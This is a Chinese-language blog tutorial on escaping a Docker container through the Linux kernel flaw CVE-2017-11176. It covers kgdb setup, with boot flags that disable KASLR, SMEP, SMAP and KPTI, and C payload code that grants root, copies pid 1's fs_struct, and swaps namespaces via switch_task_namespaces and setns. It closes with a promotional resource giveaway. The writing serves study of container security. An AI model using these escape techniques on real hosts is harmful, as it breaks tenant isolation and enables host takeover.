22歲精神小夥居然利用 Linux 核心漏洞實現 Docker 逃逸!!

語言: CN / TW / HK

 1 前言

Docker是時下使用範圍最廣的開源容器技術之一,具有高效易用等優點。由於設計的原因,Docker天生就帶有強大的安全性,甚至比虛擬機器都要更安全,但如此的Docker也會被人攻破,Docker逃逸所造成的影響之大幾乎席捲了全球的Docker容器。

下面是網上找的一張docker的架構圖。

 

近些年,Docker逃逸所利用的漏洞大部分都發生在shim和runc上,每一次出現相關漏洞都能引起相當大的關注。

除了Docker本身元件的漏洞可以進行Docker逃逸之外,Linux核心漏洞也可以進行逃逸。因為容器的核心與宿主核心共享,使用Namespace與Cgroups這兩項技術,使容器內的資源與宿主機隔離,所以Linux核心產生的漏洞能導致容器逃逸。

本文就來嘗試利用一個核心漏洞在最新版的Docker上實現逃逸。

2 核心除錯環境搭建

因為是利用Linux核心漏洞進行Docker逃逸,核心除錯環境搭建是必不可少的,已經熟悉Linux核心除錯的讀者可以跳過這節。

本文的測試作業系統環境是:

虛擬機器:vmware workstation 16
linux發行版:Centos 7.2.1511 2個CPU 2G記憶體
linux核心(使用uname -r檢視):3.10.0-327.el7.x86_64

2.1 下載安裝指定的核心版本對應的符號包

自己去網上找對應的核心符號包下載安裝

安裝命令

    sudo rpm -i kernel-debuginfo-3.10.0-327.el7.x86_64.rpm
    sudo rpm -i kernel-debuginfo-common-x86_64-3.10.0-327.el7.x86_64.rpm

2.2 下載指定的核心版本對應的原始碼包

得自己去網上找對應的核心原始碼包下載

    kernel-3.10.0-327.el7.src.rpm

2.3 grub配置

安裝好核心和核心符號包之後就可以去/boot/grub2/grub.cfg裡複製指定核心的menuentry

    sudo gedit /boot/grub2/grub.cfg

將複製的menuentry貼上到/etc/grub.d/40_custom檔案中

    sudo gedit /etc/grub.d/40_custom

在linux16啟動命令這一行後面新增一行指令

    kgdbwait kgdb8250=io,03f8,ttyS0,115200,4 kgdboc=ttyS0,115200 kgdbcon

如下例子:

    #!/bin/sh
    exec tail -n +3 $0
    # This file provides an easy way to add custom menu entries.  Simply type the
    # menu entries you want to add after this comment.  Be careful not to change
    # the 'exec tail' line above.
    menuentry '(Debug)' --class centos --class gnu-linux --class gnu --class os --unrestricted $menuentry_id_option  {
            load_video
            set gfxpayload=keep
            insmod gzio
            insmod part_msdos
            insmod xfs
            set root='hd0,0'
            if [ x$feature_platform_search_hint = xy ]; then
            search --no-floppy --fs-uuid --set=root e1fba75c-a2c9-4f39-9446-34a78704a68e
            else
            search --no-floppy --fs-uuid --set=root e1fba75c-a2c9-4f39-9446-34a78704a68e
            fi
            linux16 /vmlinuz-3.10.0-327-generic root=UUID=e1fba75c-a2c9-4f39-9446-34a78704a68e ro acpi=off quiet LANG=en_US.UTF-8 kgdbwait kgdb8250=io,03f8,ttyS0,115200,4 kgdboc=ttyS0,115200 kgdbcon
            initrd16 /boot/initrd.img-3.10.0-327-generic
    }

要想在除錯中關閉kaslr可以加上nokaslr,要想在本次除錯中關閉smep可以加上nosmep,要想在本次除錯中關閉smap可以加上nosmap,要想在本次除錯中關閉KPTI可以加上nopti

    kgdbwait kgdb8250=io,03f8,ttyS0,115200,4 kgdboc=ttyS0,115200 kgdbcon nokaslr nosmep nosmap nopti

複製貼上修改儲存好後執行

    sudo grub2-mkconfig -o /boot/grub2/grub.cfg

2.4 虛擬機器設定

2.4.1 host & target

將安裝好指定核心,指定核心符號包以及指定核心原始碼包的虛擬機器複製一份,一份作為host,一份作為target,之後在target上執行exp,在host上對target進行除錯

在host上新增串列埠

    -移除印表機,新增串列埠,管道名//./pipe/com_1,該端是客戶端,另一端是虛擬機器

在target上新增串列埠

    -移除印表機,新增串列埠,管道名//./pipe/com_1,該端是伺服器端,另一端是虛擬機器

2.4.2 開始除錯

1.先正常啟動host
2.再啟動target,不過啟動的時候需要在grub時選擇我們之前在/etc/grub.d/40_custom新增的除錯核心,它正常會顯示在grub選擇中的,選擇好後,target會顯示等待附加除錯介面
3.在host的shell中執行以下gdb命令附加target除錯

gdb -s /usr/lib/debug/lib/modules/3.10.0-327.el7.x86_64/vmlinux
set architecture i386:x86-64:intel
add-symbol-file /usr/lib/debug/lib/modules/3.10.0-327.el7.x86_64/vmlinux 0xffffffff81000000
set serial baud 115200
target remote /dev/ttyS0 nsproxy;

以上步驟就完成了核心環境搭建,下面開始進入正題,利用核心漏洞進行Docker逃逸。

3 利用核心漏洞進行Docker逃逸

本文使用的核心漏洞為CVE-2017-11176,這個漏洞網上有很多人分析過了,在利用它進行docker逃逸前提是已經將這個漏洞適配到當前的系統中,即能成功提權。本文不關注核心漏洞的利用,預設已經適配成功。

 

本文的Docker容器逃逸測試環境是:

虛擬機器:vmware workstation 16
linux發行版:Centos 7.2.1511 2個CPU 2G記憶體
linux核心(使用uname -r檢視):3.10.0-327.el7.x86_64
Docker(最新版):20.10.7
使用的Linux核心漏洞:CVE-2017-11176

3.1 安裝最新版的Docker

1.安裝工具
sudo yum install -y yum-utils device-mapper-persistent-data lvm2

2.設定阿里映象,訪問速度更快一些
sudo yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo

3.更新yum快取
sudo yum makecache fast

4.檢視可用的社群版
yum list docker-ce --showduplicates | sort -r

5.安裝指定版本的docker,選擇最新版
sudo yum install -y docker-ce-20.10.7-3.el7

6.關閉防火牆
systemctl disable firewalld
systemctl stop firewalld

7.設定docker開機自啟動
systemctl start docker
systemctl enable docker

8.檢視docker版本
$ docker version
Client: Docker Engine - Community
 Version:           20.10.7
 API version:       1.41
 Go version:        go1.13.15
 Git commit:        f0df350
 Built:             Wed Jun  2 11:58:10 2021
 OS/Arch:           linux/amd64
 Context:           default
 Experimental:      true

Server: Docker Engine - Community
 Engine:
  Version:          20.10.7
  API version:      1.41 (minimum version 1.12)
  Go version:       go1.13.15
  Git commit:       b0f5bc3
  Built:            Wed Jun  2 11:56:35 2021
  OS/Arch:          linux/amd64
  Experimental:     false
 containerd:
  Version:          1.4.6
  GitCommit:        d71fcd7d8303cbf684402823e425e9dd2e99285d
 runc:
  Version:          1.0.0-rc95
  GitCommit:        b9ee9c6314599f1b4a7f497e1f1f856fe433d3b7
 docker-init:
  Version:          0.19.0
  GitCommit:        de40ad0

3.2 逃逸開始

3.2.1 獲得了"root"

先建立並啟動一個容器

# docker run --restart=always -it --name=docker_escape centos:latest /bin/bash                                  
Unable to find image 'centos:latest' locally
latest: Pulling from library/centos
7a0437f04f83: Pull complete 
Digest: sha256:5528e8b1b1719d34604c87e11dcd1c0a20bedf46e83b5632cdeac91b8c04efc1
Status: Downloaded newer image for centos:latest
[[email protected] /]#

將漏洞利用程式複製到容器中

# docker cp exploit f165d7d75c72:/tmp
在容器內建立一個普通許可權的使用者test,然後執行漏洞利用程式
[[email protected] /]# adduser test
[[email protected] /]# su test
[[email protected] /]$ cd tmp/
[[email protected] /]$ ./exploit

在執行完漏洞利用程式後,我們獲得了root shell

 

我們確實在容器內從普通許可權提升到了root許可權,但是這和宿主機裡的root許可權是一樣的麼?

我們檢視一下程序列表以及嘗試列印/home/test目錄下的內容

 

很明顯我們沒有獲得宿主機的root許可權,我們依舊被困在了容器內。這是為什麼呢?

3.2.2 替換fs_struct結構

目前我們的漏洞利用程式裡只是獲取了root許可權

static void getroot(void)
{
    commit_creds(prepare_kernel_cred(NULL));
}

這個root許可權還只是限制在容器內。

讓我們看看Linux kernel 內管理程序的結構task_struct

struct task_struct {
    /* ... */
    /*
     * Pointers to the (original) parent process, youngest child, younger sibling,
     * older sibling, respectively.  (p->father can be replaced with
     * p->real_parent->pid)
     */

    /* Real parent process: */
    struct task_struct __rcu    *real_parent;

    /* Recipient of SIGCHLD, wait4() reports: */
    struct task_struct __rcu    *parent;
    /* ... */
    /* Filesystem information: */
    struct fs_struct        *fs;
    /* ... */
}

可以看到有一個struct fs_struct *fs結構指標,它的描述為Filesystem information。再看看struct fs_struct的內容

struct fs_struct {
    int users;
    spinlock_t lock;
    seqcount_t seq;
    int umask;
    int in_exec;
    struct path root, pwd;
} __randomize_layout;

這個結構中的struct path root, pwd就是代表當前程序的根目錄以及工作目錄。

task_struct->fs 存放著程序根目錄以及工作目錄,而我們能夠用 task_struct->real_parent 回溯取得父程序的 task_struct,我們不斷往上回溯,直到找到定位到pid=1的程序,也就是當前這個容器在宿主機中的初始程序,把這個初始程序的fs_struct複製到我們的利用程式程序,就可以將我們的漏洞利用程序的根目錄設定到宿主機中了!

程式碼體現如下

static void getroot(void)
{
    commit_creds(prepare_kernel_cred(NULL));//將當前程序設定為root許可權

    void * userkpid = find_get_pid(userpid);
    struct task_struct *mytask = pid_task(userkpid,PIDTYPE_PID);//獲取當前程序的task_struct結構體

    //迴圈編譯task_struct鏈,找到pid=1的程序的task_struct的結構體
    char *task;
    char *init;
    uint32_t pid_tmp = 0;
    task = (char *)mytask;
    init = task;
    while (pid_tmp != 1) {
          init = *(char **)(init + TASK_REAL_PARENT_OFFSET);
          pid_tmp = *(uint32_t *)(init + TASK_PID_OFFSET);
    }

    //將pid=1的task struct的fs_struct結構複製為當前程序的fs_struct
    *(uint64_t *)((uint64_t)mytask + TASK_FS_OFFSET) = copy_fs_struct(*(uint64_t *)((uint64_t)init + TASK_FS_OFFSET));
}

用 while迴圈不斷回溯task_struct->real_parent找到Init process,之後呼叫copy_fs_struct函式把 fs_struct複製到漏洞利用程序,就能進入宿主機的目錄了。

在漏洞利用程式中新增完上面的程式碼,我們再一次執行漏洞利用程式。

 

顯然我們已經跑到宿主機中來了,已經實現了容器逃逸。本文基本到此結束了。

關機下班!但是當我們準備執行shutdown -h now命令時,發現找不到shutdown命令。

 

從圖中可以看到我們也無法kill掉任何程序,也無法執行一些命令。雖然我們已經逃逸成功了,但是出現的這些小問題又是什麼原因導致的呢?

shutdown找不到可以理解,shutdown是在/sbin目錄下,這裡是環境變數沒有設定的原因,所以找不到shutdown,可以通過/sbin/shutdown直接執行。

3.2.3 突破namesapce

Linux 容器利用了 Linux 名稱空間的基本虛擬化概念。名稱空間是 Linux 核心的一個特性,它在作業系統級別對核心資源進行分割槽。Docker 容器使用 Linux 核心名稱空間來限制任何使用者(包括 root)直接訪問機器的資源。

有沒有可能是因為namespace限制的呢?如果是namespace的原因,那有沒有辦法改變漏洞利用程序的namespace呢?

通過查詢資料,找到了一種切換namespace的方案。

名稱空間在核心裡被抽象成為一個數據結構 struct nsproxy, 其定義如下

struct nsproxy {
    atomic_t count;
    struct uts_namespace *uts_ns;
    struct ipc_namespace *ipc_ns;
    struct mnt_namespace *mnt_ns;
    struct pid_namespace *pid_ns_for_children;
    struct net          *net_ns;
    struct time_namespace *time_ns;
    struct time_namespace *time_ns_for_children;
    struct cgroup_namespace *cgroup_ns;
};

在task_struct結構中,存在一項struct nsproxy *nsproxy指向當前程序所屬的namespace。

struct task_struct {
    ......
    /* namespaces */
    struct nsproxy *nsproxy;
    ......
}

與上一節替換fs_struct結構相似,我們需要想辦法替換這個結構。

系統初始化時,會初始化一個全域性的名稱空間,init_nsproxy。替換方案就是將漏洞利用程序的nsproxy替換為init_nsproxy。

程式碼體現如下

static void getroot(void)
{
    commit_creds(prepare_kernel_cred(NULL));//將當前程序設定為root許可權

    void * userkpid = find_get_pid(userpid);
    struct task_struct *mytask = pid_task(userkpid,PIDTYPE_PID);//獲取當前程序的task_struct結構體

    //迴圈編譯task_struct鏈,找到pid=1的程序的task_struct的結構體
    char *task;
    char *init;
    uint32_t pid_tmp = 0;
    task = (char *)mytask;
    init = task;
    while (pid_tmp != 1) {
          init = *(char **)(init + TASK_REAL_PARENT_OFFSET);
          pid_tmp = *(uint32_t *)(init + TASK_PID_OFFSET);
    }

    //將pid=1的task struct的fs_struct結構複製為當前程序的fs_struct
    *(uint64_t *)((uint64_t)mytask + TASK_FS_OFFSET) = copy_fs_struct(*(uint64_t *)((uint64_t)init + TASK_FS_OFFSET));

    //切換當前程序的namespace為pid=1的程序的namespace
    unsigned long long g = find_task_by_vpid(1);
    switch_task_namespaces(( void *)g, (void *)INIT_NSPROXY);
    long fd_mnt = do_sys_open( AT_FDCWD, "/proc/1/ns/mnt", O_RDONLY, 0);
    setns( fd_mnt, 0);
    long fd_pid = do_sys_open( AT_FDCWD, "/proc/1/ns/pid", O_RDONLY, 0);
    setns( fd_pid, 0);
}

上述替換namespace的程式碼部分,就是先將容器中pid=1的程序的namespace用switch_task_namespaces函式替換為init_nsproxy,之後漏洞程式程序再執行setns函式加入pid=1的程序的namespace,相當於加入init_nsproxy。

switch_task_namespaces函式程式碼如下

void switch_task_namespaces(struct task_struct *p, struct nsproxy *new)
{
    struct nsproxy *ns;

    might_sleep();

    task_lock(p);
    ns = p->nsproxy;
    p->nsproxy = new;
    task_unlock(p);

    if (ns)
        put_nsproxy(ns);
}

switch_task_namespaces這個函式就是將引數一struct task_struct *p的namespace修改為引數二傳進來的namespace。

在漏洞利用程式中新增完上面的程式碼,我們再一次執行漏洞利用程式。

 

當夢想照進現實,你滿懷期待迎接陽光,現實卻給你潑了一灘冰水。

很遺憾,沒有成功突破namesapce。:(

是什麼原因呢?我修改上述漏洞程式程式碼

static void getroot(void)
{
    commit_creds(prepare_kernel_cred(NULL));//將當前程序設定為root許可權

    void * userkpid = find_get_pid(userpid);
    struct task_struct *mytask = pid_task(userkpid,PIDTYPE_PID);//獲取當前程序的task_struct結構體

    //迴圈編譯task_struct鏈,找到pid=1的程序的task_struct的結構體
    char *task;
    char *init;
    uint32_t pid_tmp = 0;
    task = (char *)mytask;
    init = task;
    while (pid_tmp != 1) {
          init = *(char **)(init + TASK_REAL_PARENT_OFFSET);
          pid_tmp = *(uint32_t *)(init + TASK_PID_OFFSET);
    }

    //將pid=1的task struct的fs_struct結構複製為當前程序的fs_struct
    *(uint64_t *)((uint64_t)mytask + TASK_FS_OFFSET) = copy_fs_struct(*(uint64_t *)((uint64_t)init + TASK_FS_OFFSET));

    //切換當前程序的namespace為pid=1的程序的namespace
    unsigned long long g = find_task_by_vpid(userpid);
    switch_task_namespaces(( void *)g, (void *)INIT_NSPROXY);
}

直接切換當前程序的namespace。並且在漏洞程式完成利用從核心退出時通過命令ls /proc/$(userpid)/ns -lia列印當前程序的namespace,將結果與宿主機中高許可權程序的namespace對比。

 

可以看到,我們成功替換了namespace。

繼續在漏洞程式完成利用從核心退出時通過命令ls /home/test列印目錄內容,發現可以看到宿主機的檔案,說明我們逃逸成功了

 

繼續在漏洞程式完成利用從核心退出時通過命令kill -9 pid嘗試kill掉某個我們事先已知的程序,測試發現我們也可以成功kill掉,說明我們成功突破了namespace。

只是在漏洞程式結尾時呼叫execve彈root shell時會失敗,暫時不能彈出一個方便操作的root shell。

雖然我這邊沒有成功彈出一個方便的root shell,原因暫時沒有分析出來,但這個思路是可行的。查閱資料時有人在ubuntu上測試成功了,估計和我測試時的作業系統有關,需要進一步分析。

3.3 一般步驟

經過上述的一系列嘗試,我們可以總結一下利用核心漏洞進行容器逃逸的一般步驟。

1.使用核心漏洞進入核心上下文2.獲取當前程序的task struct3.回溯task list 獲取pid=1的task struct,複製其fs_struct結構資料為當前程序的fs_struct。fs_struct結構中定義了當前程序的根目錄和工作目錄。4.切換當前namespace。Docker使用了Linux核心名稱空間來限制使用者(包括root)直接訪問機器資源。5.開啟root shell,完成逃逸

4 結語

本文介紹了利用Linux核心漏洞進行Docker容器逃逸,使用的漏洞是CVE-2017-11176,在最新版的docker上逃逸成功了。雖然在突破namespace的限制時遇到了一點小問題,但本次基本實現了利用Linux核心漏洞完成Docker容器逃逸,希望這篇文章給能大家帶來一些幫助。

5 福利分享

在這裡插入圖片描述

看到這裡的大佬,動動發財的小手 點贊 + 回覆 + 收藏,能【 關注 】一波就更好了

我是一名滲透測試工程師,為了感謝讀者們,我想把我收藏的一些網路安全/滲透測試學習乾貨貢獻給大家,回饋每一個讀者,希望能幫到你們。

乾貨主要有:

①2000多本網安必看電子書(主流和經典的書籍應該都有了)

②PHP標準庫資料(最全中文版)

③專案原始碼(四五十個有趣且經典的練手專案及原始碼)

④ 網路安全基礎入門、Linux運維,web安全、滲透測試方面的影片(適合小白學習)

⑤ 網路安全學習路線圖(告別不入流的學習)

⑥ 滲透測試工具大全

⑦ 2021網路安全/Web安全/滲透測試工程師面試手冊大全

各位朋友們可以關注+評論一波 然後掃描下方二媽  備註:開源中國  即可免費獲取全部資料